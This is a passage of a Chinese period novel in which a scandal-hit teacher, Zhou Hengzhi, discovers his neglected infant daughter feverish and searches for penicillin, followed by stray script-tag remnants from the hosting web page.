最近因为一天之内的“登报结婚、离婚事件”,他一下成了学校里的名人。没有对他新婚的恭喜和祝福,耳中听到的,都是同事和学生们对他指指点点,偶尔攀谈起来也是阴阳怪气。
有人夸他命好,说自己怎么没能像他这样,从小到大都有岳父罩着,虽然这岳父是前后两任;有人嘲笑他“吃软饭专业户”,更有人当面骂他是“当代陈世美”、见异思迁的小人白眼狼。
如今不仅原本说好的升迁无望,就连教研组的例会都开始刻意避开他,他提出的教案也被屡次退回。要不是宋仁雄在学校还有点关系,估计他早被校方劝退了。
这情况不得不令他居安思危,想趁着下班时间多做谋划,可家里又是这番情形。
忽然,门口传来剧烈的拍门声,周恒志皱了皱眉,没有理会,不想打断刚才好不容易升起的一点思路。
然而拍门声越来越急,
他不得不叹了口气,起身开门,惊讶的发现拍门的竟是大女儿巧珍。
“怎么回事,”
他沉着脸:
“不是告诉过你们,有事找佣人,或者你们母亲?”
“阿父,”
巧珍声音带着哭腔,一张小脸满是焦急:
“你去看看妹妹吧,妹妹发烧昏过去了,额头烫得吓人!”
“什么?”
周恒志吃了一惊,立刻冲下楼,推开两个女儿居住的客房门,果然看到不满一岁的周巧兰孤零零躺在床上,显得弱小无助又可怜。
她身上只穿件单薄的棉布小衣,下半身光着,小脸烧得通红,呼吸急促而微弱。
“这是怎么回事,”
周恒志慌忙抱起巧兰:
“你们母亲呢,照顾巧兰的佣人呢?”
“母亲一早会了朋友出去,说要逛街,国南路上有个裁缝做出了最新样工的洋装,”
巧珍抽噎着道:
“佣人……下午被外婆叫去收拾后院,我喊了她两次也没回来,妹妹的裤子脏了,还是我脱下来的,可我没找到干净的。”
只能就这么让她光着了。
周恒志攥着巧兰烧得滚烫的小手,沉默了一会儿,然后赶紧回房间翻箱倒柜。他记得抽屉里还有半盒盘尼西林,用来救巧兰刚好。
可是他找遍整间屋子也没找到。
正着急的时候,瑞秋哼着歌儿回来了。
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">